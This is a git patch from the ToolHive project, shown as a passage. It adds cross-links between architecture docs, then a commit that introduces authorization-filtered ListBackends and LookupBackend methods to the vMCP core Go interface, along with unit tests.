MCP Server Architecture](10-virtual-mcp-architecture.md) - Aggregating backends as a deployment pattern diff --git a/docs/arch/03-transport-architecture.md b/docs/arch/03-transport-architecture.md index 7f881531c1..1b944cc836 100644 --- a/docs/arch/03-transport-architecture.md +++ b/docs/arch/03-transport-architecture.md @@ -655,3 +655,4 @@ func (*Factory) Create(config types.Config) (types.Transport, error) { - [Deployment Modes](01-deployment-modes.md) - How transports work in each mode - [RunConfig and Permissions](05-runconfig-and-permissions.md) - Transport configuration - [Core Concepts](02-core-concepts.md) - Transport concepts and terminology +- [Operator Architecture](09-operator-architecture.md) - How the operator and proxy-runner set up transports in Kubernetes diff --git a/docs/arch/05-runconfig-and-permissions.md b/docs/arch/05-runconfig-and-permissions.md index 11a85f2e7e..2ea393b280 100644 --- a/docs/arch/05-runconfig-and-permissions.md +++ b/docs/arch/05-runconfig-and-permissions.md @@ -747,3 +747,4 @@ Custom permission profiles can be defined in JSON files for reusable security po - [Deployment Modes](01-deployment-modes.md) - RunConfig portability - [Transport Architecture](03-transport-architecture.md) - Transport configuration - [Operator Architecture](09-operator-architecture.md) - K8s-specific configuration +- [Registry System](06-registry-system.md) - Registry metadata that seeds RunConfig for a server diff --git a/docs/arch/06-registry-system.md b/docs/arch/06-registry-system.md index 491f5331bd..ba8dd1699f 100644 --- a/docs/arch/06-registry-system.md +++ b/docs/arch/06-registry-system.md @@ -971,6 +971,7 @@ re-sync, modify `configYAML` (or restart the registry API pod). - [Deployment Modes](01-deployment-modes.md) - Registry usage per mode - [Groups](07-groups.md) - Groups in registry - [Operator Architecture](09-operator-architecture.md) - MCPRegistry CRD +- [RunConfig and Permissions](05-runconfig-and-permissions.md) - How registry metadata feeds a server's RunConfig - [Skills System](12-skills-system.md) - Skills discovery and distribution via registry ### External Documentation diff --git a/docs/arch/07-groups.md b/docs/arch/07-groups.md index 9ac6bc2e1b..d862439ed3 100644 --- a/docs/arch/07-groups.md +++ b/docs/arch/07-groups.md @@ -141,3 +141,4 @@ Groups may serve as the foundation for additional features: - [Workloads Lifecycle](08-workloads-lifecycle.md) - Group operations - [Virtual MCP Server Architecture](10-virtual-mcp-architecture.md) - Group-based aggregation - [Skills System](12-skills-system.md) - Skills organized in groups +- [Deployment Modes](01-deployment-modes.md) - How groups apply per deployment mode diff --git a/docs/arch/09-operator-architecture.md b/docs/arch/09-operator-architecture.md index 38ce8001fc..525c41e457 100644 --- a/docs/arch/09-operator-architecture.md +++ b/docs/arch/09-operator-architecture.md @@ -729,4 +729,5 @@ spec: - [Core Concepts](02-core-concepts.md) - Operator concepts - [Registry System](06-registry-system.md) - MCPRegistry CRD - [Virtual MCP Server Architecture](10-virtual-mcp-architecture.md) - VirtualMCPServer details +- [Transport Architecture](03-transport-architecture.md) - Transport and proxy setup the proxy-runner performs in-cluster - Operator Design: `cmd/thv-operator/DESIGN.md` diff --git a/docs/arch/10-virtual-mcp-architecture.md b/docs/arch/10-virtual-mcp-architecture.md index 891dffc3ed..cc03ec710c 100644 --- a/docs/arch/10-virtual-mcp-architecture.md +++ b/docs/arch/10-virtual-mcp-architecture.md @@ -364,3 +364,4 @@ Status reporting enables vMCP runtime to report operational status directly inst - [Local vMCP CLI Mode](vmcp-local.md) - `thv vmcp` CLI surface, optimizer tiers, and TEI lifecycle - [vMCP Library Embedding](vmcp-library.md) - Embedding `pkg/vmcp/` in downstream Go projects - [vMCP Scalability Limits and Constraints](13-vmcp-scalability.md) - Per-pod session cap, TTL mechanics, Redis sizing, and pod restart behaviour +- [Deployment Modes](01-deployment-modes.md) - Where vMCP fits among local and Kubernetes deployment patterns diff --git a/docs/arch/12-skills-system.md b/docs/arch/12-skills-system.md index e0021eb346..83e16b8409 100644 --- a/docs/arch/12-skills-system.md +++ b/docs/arch/12-skills-system.md @@ -462,3 +462,4 @@ ToolHive owns the installation lifecycle, scoping model, CLI/API interfaces, and - [Registry System](06-registry-system.md) - Registry architecture shared by skills and servers - [Groups](07-groups.md) - Group concept used to organize skills and workloads - [Architecture Overview](00-overview.md) - Platform overview +- [Plugins System](14-plugins-system.md) - Sibling distribution system (OCI artifacts, multi-client install) diff --git a/docs/arch/14-plugins-system.md b/docs/arch/14-plugins-system.md index 2583fcf9ef..82c3d9a1ae 100644 --- a/docs/arch/14-plugins-system.md +++ b/docs/arch/14-plugins-system.md @@ -270,3 +270,10 @@ The OCI plugin layer (`ociplugins.Store`, `PluginPackager`, `RegistryClient`, | `pkg/storage/sqlite/plugin_store.go` | SQLite store | | `pkg/groups/plugins.go` | group membership | | `pkg/client/plugins.go` | client metadata + path resolution | + +## Related Documentation + +- [Skills System](12-skills-system.md) - Sibling distribution system (OCI artifacts, multi-client install, build/publish/install lifecycle) +- [Registry System](06-registry-system.md) - Registry-name resolution in the install dispatch chain +- [Groups](07-groups.md) - Plugin group membership (`pkg/groups/plugins.go`) +- [Core Concepts](02-core-concepts.md) - Platform terminology diff --git a/docs/observability.md b/docs/observability.md index 3a11cd3d48..79dcc0dc69 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -13,6 +13,10 @@ setting up and using these features, see the ToolHive documentation: - [CLI guide](https://docs.stacklok.com/toolhive/guides-cli/telemetry-and-metrics), including how to enable and configure telemetry and send to common backends +To run a complete local observability stack (Prometheus, Grafana, and the +OpenTelemetry Collector) for testing this instrumentation, see the +[OpenTelemetry example stack](../examples/otel/README.md). + For migrating from legacy attribute names to the new OTEL MCP semantic conventions, see the [Telemetry Migration Guide](./telemetry-migration-guide.md). diff --git a/test/e2e/README.md b/test/e2e/README.md index a03c68e8da..03867c3995 100644 --- a/test/e2e/README.md +++ b/test/e2e/README.md @@ -22,6 +22,10 @@ These tests validate ToolHive functionality by exercising the full application s - `oidc_mock.go` - Mock OIDC server for authentication tests - `run_tests.sh` - Test runner script +Operator-specific end-to-end tests live in subdirectories, such as the +[VirtualMCPServer E2E tests](thv-operator/virtualmcp/README.md) that run against +a real Kubernetes cluster. + ### Test Categories Tests are organized using Ginkgo labels for parallelization and filtering: From 709c918aeeff323a6ac9101c02753f1b5b707183 Mon Sep 17 00:00:00 2001 From: Chris Burns <29541485+ChrisJBurns@users.noreply.github.com> Date: Wed, 8 Jul 2026 21:11:42 +0100 Subject: [PATCH 34/66] Add ListBackends/LookupBackend to the vMCP core interface (#5763) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add ListBackends/LookupBackend to the vMCP core interface Add backend-level enumeration to the pkg/vmcp/core VMCP interface so embedders get a first-class backend view instead of reverse-engineering it (lossily) from ListTools. One ListBackends method serves two surfaces via a filterUnauthorized bool, plus LookupBackend for a single authorized resolve. - false (admin): all group-scoped backends from the registry, no aggregation, no admission, no health filter. identity may be nil; caller-authz is the API layer's concern. - true (user-discovery): a backend appears iff the identity is admitted at least one of its discovered capabilities. Aggregates over the full registry (health is a status, not a visibility filter), runs the existing admission seam, and unions the surviving capabilities' BackendIDs. A zero-capability backend is vacuously hidden. LookupBackend resolves in the authorized view and returns vmcp.ErrNotFound for an unknown, out-of-group, or unauthorized id, mirroring LookupTool. Extract aggregateOverAll so the health-filtered data path and the full-registry backend derivation share one aggregation error-wrap. The codemode/ratelimit decorators embed core.VMCP and auto-promote the new methods; the two hand-rolled server test doubles (stubVMCP, fakeCore) gain no-op implementations. Closes #5741 Co-Authored-By: Claude Opus 4.8 (1M context) * Address review: empty-group short-circuit, tests, doc/naming Follow-up to review on #5763: - ListBackends(authorized) now returns an empty (non-nil) slice for an empty group instead of diving into aggregation and surfacing the aggregator's "no backends returned capabilities" sentinel as an error. A non-empty group that is entirely unreachable still errors (consistent with ListTools) — that is a live failure, not an empty answer. Fixes the empty-group divergence between the admin and authorized views. - Add tests: empty group returns empty in both modes (no aggregation), nil identity in authorized mode is anonymous (not an error), and a backendless (composite-shaped) tool does not surface a backend. - Clarify the ListBackends doc so a zero-capability (tool-less) backend's absence is not read as a per-identity authorization-denial signal. - Rename aggregateOverAll -> aggregateBackends (the "All" suffix was wrong for its health-filtered caller) and move private authorizedBackends to the file's bottom half per go-style ordering. - Tighten BackendRegistry.List's godoc to contractually promise the fresh, non-nil, mutable slice ListBackends relies on (both impls already do this). Co-Authored-By: Claude Opus 4.8 (1M context) --------- Co-authored-by: Claude Opus 4.8 (1M context) --- pkg/vmcp/core/core.go | 43 ++- pkg/vmcp/core/core_backends_test.go | 365 ++++++++++++++++++++++++++ pkg/vmcp/core/core_vmcp.go | 106 +++++++- pkg/vmcp/registry.go | 6 +- pkg/vmcp/server/serve_session_test.go | 8 + pkg/vmcp/server/serve_test.go | 6 + 6 files changed, 530 insertions(+), 4 deletions(-) create mode 100644 pkg/vmcp/core/core_backends_test.go diff --git a/pkg/vmcp/core/core.go b/pkg/vmcp/core/core.go index 6ba2cf31d0..1bf4111fb6 100644 --- a/pkg/vmcp/core/core.go +++ b/pkg/vmcp/core/core.go @@ -45,7 +45,9 @@ import ( // - Decorators may only SUBTRACT reachability: filter list output or refuse a // call before delegating to inner. They hold only an inner VMCP and have no // path to backends except through it, so they cannot widen access. This -// mirrors the list-filter/call-deny pairing in pkg/authz/tool_filter.go. +// mirrors the list-filter/call-deny pairing in pkg/authz/tool_filter.go, and +// applies to backends too: a decorator may drop entries from ListBackends +// output or refuse a LookupBackend, but never surface a backend inner withheld. // - args/meta maps are treated as read-only; the core copies before mutating // (go-style: copy before mutating caller input). // - ReadResource results: Meta may be nil — the mcp-go resources/read handler @@ -104,6 +106,45 @@ type VMCP interface { // unadvertised name. Applies the same admission filter as ListPrompts. LookupPrompt(ctx context.Context, identity *auth.Identity, name string) (*vmcp.Prompt, error) + // ListBackends returns the backends visible to identity, scoped to the gateway's + // group (groupRef always applies; the BackendRegistry is the group-scoped source). + // + // filterUnauthorized selects the view: + // + // - true (user-discovery): returns only backends the identity is authorized to + // use — a backend appears iff the identity is admitted (the same seam + // ListTools/CallTool enforce) to AT LEAST ONE of that backend's discovered + // capabilities. There is no backend-level authorization entity, so this is a + // derived rule: aggregate the group's backends, run admission, and group the + // surviving capabilities by BackendID. A backend with zero discovered + // capabilities (tool-less) is absent for EVERY identity — this is NOT an + // authorization-denial signal; a backend that has capabilities but all are + // denied to this identity is also absent, for the unrelated reason of policy. + // Callers must not conflate "absent from this list" with "identity is denied + // this specific backend." A nil identity is anonymous (see the interface + // contract), yielding the anonymous-visible set. + // + // - false (admin): returns ALL group-scoped backends with no per-identity + // authorization filtering. identity is unused and may be nil. Authorizing the + // caller for this view is the transport/API layer's responsibility (an + // admin-gated endpoint), not the core's. + // + // Health is a status, not a visibility filter: ListBackends does NOT apply the + // health filter ListTools uses. A degraded/unhealthy backend still appears (admin + // mode) — carrying its HealthStatus so a UI can badge it — and appears in the + // authorized mode whenever it still has an admitted capability. Unreachable + // backends contribute no capabilities to the authorized derivation, so they are + // naturally absent there, but that is a consequence of live aggregation, not a + // health filter. The returned slice is fresh and non-nil; callers may mutate it. + ListBackends(ctx context.Context, identity *auth.Identity, filterUnauthorized bool) ([]vmcp.Backend, error) + + // LookupBackend resolves a single backend id in the AUTHORIZED view: it returns + // the backend only when it is in ListBackends(ctx, identity, true), and + // vmcp.ErrNotFound for an unknown, out-of-group, or unauthorized id. This mirrors + // LookupTool/LookupResource/LookupPrompt — a lookup never resolves what the + // corresponding authorized list would not show. + LookupBackend(ctx context.Context, identity *auth.Identity, backendID string) (*vmcp.Backend, error) + // BackendHealth returns the backend health reporter the core owns, or nil when health // monitoring is disabled. The core builds, starts, and (via Close) stops the monitor and // filters capabilities with it; the transport layer uses this only to report on or sync diff --git a/pkg/vmcp/core/core_backends_test.go b/pkg/vmcp/core/core_backends_test.go new file mode 100644 index 0000000000..026a9f4262 --- /dev/null +++ b/pkg/vmcp/core/core_backends_test.go @@ -0,0 +1,365 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package core + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/aggregator" +) + +// backendIDs extracts the IDs from a backend slice for order-insensitive assertions. +func backendIDs(backends []vmcp.Backend) []string { + ids := make([]string, len(backends)) + for i := range backends { + ids[i] = backends[i].ID + } + return ids +} + +// toolOn returns a backend tool advertised by the given backend. +func toolOn(name, backendID string) vmcp.Tool { + return vmcp.Tool{Name: name, BackendID: backendID} +} + +// denyExcept builds an Admission that allows only the named capabilities (by +// resourceID: tool name / resource URI / prompt name) and default-denies the rest, +// so tests can drive per-backend visibility. Mirrors admission_test.go's usage. +func denyExcept(allowed ...string) Admission { + results := make(map[string]mockResult, len(allowed)) + for _, id := range allowed { + results[id] = mockResult{authorized: true} + } + return newCedarAdmission(&mockAuthorizer{results: results}) +} + +// TestListBackends_AdminMode_ReturnsAllIncludingUnhealthy proves the admin view +// (filterUnauthorized=false) returns every group backend from the registry — +// including an unhealthy one — with no aggregation and no health filter. A nil +// identity is accepted. The absence of an AggregateCapabilities expectation on the +// mock asserts the admin path never aggregates (gomock fails on an unexpected call). +func TestListBackends_AdminMode_ReturnsAllIncludingUnhealthy(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{ + {ID: "b1", HealthStatus: vmcp.BackendHealthy}, + {ID: "b2", HealthStatus: vmcp.BackendUnhealthy}, + } + m.reg.EXPECT().List(gomock.Any()).Return(all) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), nil, false) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"b1", "b2"}, backendIDs(got), + "admin view must include all group backends, including the unhealthy one") +} + +// TestListBackends_Authorized_FiltersByAdmittedCapability proves the authorized +// view (filterUnauthorized=true) includes a backend only when the identity is +// admitted at least one of its capabilities: b1's tool is allowed, b2's is denied, +// so only b1 appears. +func TestListBackends_Authorized_FiltersByAdmittedCapability(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{{ID: "b1"}, {ID: "b2"}} + m.reg.EXPECT().List(gomock.Any()).Return(all) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1"), toolOn("tool_b2", "b2")}, + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + c.(*coreVMCP).admission = denyExcept("tool_b1") + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.Equal(t, []string{"b1"}, backendIDs(got), + "only the backend with an admitted capability should appear") +} + +// TestListBackends_Authorized_UnionsAcrossCapabilityKinds proves visibility is the +// UNION over tools, resources, and prompts: a backend reachable only via a resource +// (no admitted tool) or only via a prompt still appears. +func TestListBackends_Authorized_UnionsAcrossCapabilityKinds(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{{ID: "b1"}, {ID: "b2"}, {ID: "b3"}} + m.reg.EXPECT().List(gomock.Any()).Return(all) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}, + Resources: []vmcp.Resource{{URI: "res://b2", BackendID: "b2"}}, + Prompts: []vmcp.Prompt{{Name: "prompt_b3", BackendID: "b3"}}, + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + // Default allow-all admission (baseConfig has no Authz) admits every capability. + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"b1", "b2", "b3"}, backendIDs(got), + "a backend visible only via a resource or prompt must still appear") +} + +// TestListBackends_Authorized_AggregatesFullRegistryNoHealthFilter is the +// load-bearing test for "health is a status, not a visibility filter": the +// authorized path must aggregate over the FULL registry, not the +// filterHealthyBackends subset. It captures the backend slice handed to +// AggregateCapabilities and asserts the unhealthy backend is present. +func TestListBackends_Authorized_AggregatesFullRegistryNoHealthFilter(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{ + {ID: "b1", HealthStatus: vmcp.BackendHealthy}, + {ID: "b2", HealthStatus: vmcp.BackendUnhealthy}, + } + m.reg.EXPECT().List(gomock.Any()).Return(all) + + var aggregated []vmcp.Backend + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, backends []vmcp.Backend) (*aggregator.AggregatedCapabilities, error) { + aggregated = backends + return &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1"), toolOn("tool_b2", "b2")}, + }, nil + }) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"b1", "b2"}, backendIDs(aggregated), + "authorized aggregation must run over the full registry (no health filter dropping the unhealthy backend)") + assert.ElementsMatch(t, []string{"b1", "b2"}, backendIDs(got)) +} + +// TestListBackends_Authorized_ZeroCapabilityBackendHiddenButAdminShowsIt pins the +// decided corner case: a backend that contributes no capabilities is vacuously +// hidden in the authorized view (>=1 rule) yet still appears in the admin view. +func TestListBackends_Authorized_ZeroCapabilityBackendHiddenButAdminShowsIt(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{{ID: "b1"}, {ID: "b2"}} // b2 is tool-less / contributes nothing + m.reg.EXPECT().List(gomock.Any()).Return(all).Times(2) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}, // nothing for b2 + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + authorized, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.Equal(t, []string{"b1"}, backendIDs(authorized), + "a zero-capability backend is vacuously hidden in the authorized view") + + admin, err := c.ListBackends(context.Background(), nil, false) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"b1", "b2"}, backendIDs(admin), + "the same zero-capability backend still appears in the admin view") +} + +// TestListBackends_EmptyGroupReturnsEmpty proves that an empty group (no backends +// in the registry) returns a non-nil empty slice in BOTH modes without aggregating. +// The authorized path must short-circuit before the aggregator, whose "no backends +// returned capabilities" sentinel would otherwise turn an empty group into a hard +// error and make the two views disagree. The absence of an AggregateCapabilities +// expectation asserts no aggregation happens. +func TestListBackends_EmptyGroupReturnsEmpty(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{}).Times(2) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + admin, err := c.ListBackends(context.Background(), nil, false) + require.NoError(t, err) + assert.NotNil(t, admin) + assert.Empty(t, admin) + + authorized, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err, "an empty group must be an empty answer, not an aggregation error") + assert.NotNil(t, authorized) + assert.Empty(t, authorized) +} + +// TestListBackends_Authorized_NilIdentityIsAnonymous pins the shipped semantic that +// a nil identity in authorized mode is anonymous (consistent with ListTools et al.), +// NOT an error — even though issue #5741's prose calls identity "required". Under the +// default allow-all admission the anonymous-visible set is every backend with a +// capability. +func TestListBackends_Authorized_NilIdentityIsAnonymous(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}}, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), nil, true) + require.NoError(t, err, "nil identity is anonymous, not an error") + assert.Equal(t, []string{"b1"}, backendIDs(got)) +} + +// TestListBackends_Authorized_BackendlessToolDoesNotAddVisibility pins the decision +// to union over agg.Tools (real backend capabilities) rather than advertisedTools: +// a tool with no backing backend id — the shape a composite/workflow tool takes, +// since it routes to no single backend — must not make any backend visible. +func TestListBackends_Authorized_BackendlessToolDoesNotAddVisibility(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + all := []vmcp.Backend{{ID: "b1"}, {ID: "b2"}} + m.reg.EXPECT().List(gomock.Any()).Return(all) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{ + toolOn("tool_b1", "b1"), // real backend tool + {Name: "composite_workflow"}, // no BackendID (composite-shaped) + }, + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.Equal(t, []string{"b1"}, backendIDs(got), + "a backendless (composite) tool must not surface b2 or a phantom empty-id backend") +} + +// TestListBackends_Authorized_EmptyIsNonNil proves the authorized path returns a +// non-nil empty slice (not nil) when the identity is admitted nothing. +func TestListBackends_Authorized_EmptyIsNonNil(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}}, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + c.(*coreVMCP).admission = denyExcept() // deny everything + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.NoError(t, err) + assert.NotNil(t, got) + assert.Empty(t, got) +} + +// TestListBackends_Authorized_AggregationErrorFailsClosed proves an aggregation +// error propagates (wrapped) and yields no partial backend set. +func TestListBackends_Authorized_AggregationErrorFailsClosed(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return(nil, errors.New("boom")) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.ListBackends(context.Background(), cedarIdentity(), true) + require.Error(t, err) + assert.Nil(t, got) + assert.Contains(t, err.Error(), "aggregation") +} + +// TestLookupBackend_ResolvesAuthorizedBackend proves LookupBackend returns a +// backend that is in the identity's authorized view. +func TestLookupBackend_ResolvesAuthorizedBackend(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1", Name: "Backend One"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}}, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.LookupBackend(context.Background(), cedarIdentity(), "b1") + require.NoError(t, err) + require.NotNil(t, got) + assert.Equal(t, "b1", got.ID) + assert.Equal(t, "Backend One", got.Name) +} + +// TestLookupBackend_NotFound proves LookupBackend returns vmcp.ErrNotFound for an +// unknown id and for an id that exists in the group but is unauthorized. +func TestLookupBackend_NotFound(t *testing.T) { + t.Parallel() + + t.Run("unknown id", func(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{Tools: []vmcp.Tool{toolOn("tool_b1", "b1")}}, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + + got, err := c.LookupBackend(context.Background(), cedarIdentity(), "does-not-exist") + require.Error(t, err) + assert.Nil(t, got) + assert.ErrorIs(t, err, vmcp.ErrNotFound) + }) + + t.Run("unauthorized id", func(t *testing.T) { + t.Parallel() + cfg, m := baseConfig(t) + m.reg.EXPECT().List(gomock.Any()).Return([]vmcp.Backend{{ID: "b1"}, {ID: "b2"}}) + m.agg.EXPECT().AggregateCapabilities(gomock.Any(), gomock.Any()).Return( + &aggregator.AggregatedCapabilities{ + Tools: []vmcp.Tool{toolOn("tool_b1", "b1"), toolOn("tool_b2", "b2")}, + }, nil) + + c, err := New(cfg) + require.NoError(t, err) + t.Cleanup(func() { _ = c.Close() }) + c.(*coreVMCP).admission = denyExcept("tool_b1") // b2 unauthorized + + got, err := c.LookupBackend(context.Background(), cedarIdentity(), "b2") + require.Error(t, err) + assert.Nil(t, got) + assert.ErrorIs(t, err, vmcp.ErrNotFound) + }) +} diff --git a/pkg/vmcp/core/core_vmcp.go b/pkg/vmcp/core/core_vmcp.go index 616e132ae7..ac72694fd5 100644 --- a/pkg/vmcp/core/core_vmcp.go +++ b/pkg/vmcp/core/core_vmcp.go @@ -351,6 +351,50 @@ func (c *coreVMCP) LookupPrompt(ctx context.Context, identity *auth.Identity, na return nil, fmt.Errorf("%w: prompt %q", vmcp.ErrNotFound, name) } +// ListBackends returns the backends visible to identity. In admin mode +// (filterUnauthorized=false) it returns the full group registry as-is — no +// aggregation, no admission, no health filter. In authorized mode it returns only +// the backends the identity is admitted at least one capability on. See the [VMCP] +// interface contract for the full semantics. +func (c *coreVMCP) ListBackends( + ctx context.Context, identity *auth.Identity, filterUnauthorized bool, +) ([]vmcp.Backend, error) { + all := c.backendRegistry.List(ctx) + if !filterUnauthorized { + return all, nil + } + // An empty group has nothing to authorize: return an empty (non-nil) set rather + // than aggregating, which would surface the aggregator's "no backends returned + // capabilities" sentinel as an error and make the authorized view disagree with + // the admin view for the same empty group. A non-empty group whose backends are + // all unreachable still errors (consistent with ListTools) — that is a live + // failure, not an empty answer. + if len(all) == 0 { + return []vmcp.Backend{}, nil + } + return c.authorizedBackends(ctx, identity, all) +} + +// LookupBackend resolves a single backend id in the authorized view, mirroring +// LookupTool: it delegates to ListBackends(ctx, identity, true) and returns +// vmcp.ErrNotFound for an id that view does not contain (unknown, out-of-group, or +// unauthorized). +func (c *coreVMCP) LookupBackend( + ctx context.Context, identity *auth.Identity, backendID string, +) (*vmcp.Backend, error) { + backends, err := c.ListBackends(ctx, identity, true) + if err != nil { + return nil, err + } + for i := range backends { + if backends[i].ID == backendID { + backend := backends[i] + return &backend, nil + } + } + return nil, fmt.Errorf("%w: backend %q", vmcp.ErrNotFound, backendID) +} + // Close stops the workflow state store's cleanup goroutine. It is idempotent: // the underlying Stop closes a channel that cannot be closed twice, so the work // is guarded by sync.Once and subsequent calls return nil. @@ -372,7 +416,18 @@ func (c *coreVMCP) Close() error { // lookup-then-call flow aggregates twice. This is intentional — caching is the // Serve layer's responsibility, not the core's (vmcp anti-patterns #8/#9). func (c *coreVMCP) aggregatedView(ctx context.Context) (*aggregator.AggregatedCapabilities, error) { - backends := filterHealthyBackends(c.backendRegistry.List(ctx), c.health) + return c.aggregateBackends(ctx, filterHealthyBackends(c.backendRegistry.List(ctx), c.health)) +} + +// aggregateBackends aggregates capabilities across the given backends. The caller +// decides the backend set: aggregatedView passes the health-filtered subset (the +// data path), while authorizedBackends passes the full registry (backend +// visibility, per #5741: health is a status, not a visibility filter). It exists so +// both share one aggregation error-wrap. Unreachable backends fail their live +// capability query and simply contribute nothing. +func (c *coreVMCP) aggregateBackends( + ctx context.Context, backends []vmcp.Backend, +) (*aggregator.AggregatedCapabilities, error) { agg, err := c.aggregator.AggregateCapabilities(ctx, backends) if err != nil { return nil, fmt.Errorf("capability aggregation failed: %w", err) @@ -380,6 +435,55 @@ func (c *coreVMCP) aggregatedView(ctx context.Context) (*aggregator.AggregatedCa return agg, nil } +// authorizedBackends returns the subset of all on which identity is admitted at +// least one capability. It aggregates over the full set (no health filter — #5741), +// runs the same admission seam List{Tools,Resources,Prompts} use, and unions the +// surviving capabilities' BackendIDs. Composite tools are excluded (agg.Tools, not +// advertisedTools): they are workflows with no single backend, so they cannot make +// a backend visible. Callers guard the empty-group case before calling this (see +// ListBackends) so an empty group never reaches the aggregator's "no backends" +// sentinel here. +func (c *coreVMCP) authorizedBackends( + ctx context.Context, identity *auth.Identity, all []vmcp.Backend, +) ([]vmcp.Backend, error) { + agg, err := c.aggregateBackends(ctx, all) + if err != nil { + return nil, err + } + + tools, err := c.admission.FilterTools(ctx, identity, agg.Tools) + if err != nil { + return nil, err + } + resources, err := c.admission.FilterResources(ctx, identity, agg.Resources) + if err != nil { + return nil, err + } + prompts, err := c.admission.FilterPrompts(ctx, identity, agg.Prompts) + if err != nil { + return nil, err + } + + allowed := make(map[string]struct{}) + for i := range tools { + allowed[tools[i].BackendID] = struct{}{} + } + for i := range resources { + allowed[resources[i].BackendID] = struct{}{} + } + for i := range prompts { + allowed[prompts[i].BackendID] = struct{}{} + } + + out := make([]vmcp.Backend, 0, len(allowed)) + for i := range all { + if _, ok := allowed[all[i].ID]; ok { + out = append(out, all[i]) + } + } + return out, nil +} + // advertisedTools returns the aggregated backend tools followed by the composite // tools reachable in agg's routing table. // diff --git a/pkg/vmcp/registry.go b/pkg/vmcp/registry.go index ccce6e321c..dbd21409aa 100644 --- a/pkg/vmcp/registry.go +++ b/pkg/vmcp/registry.go @@ 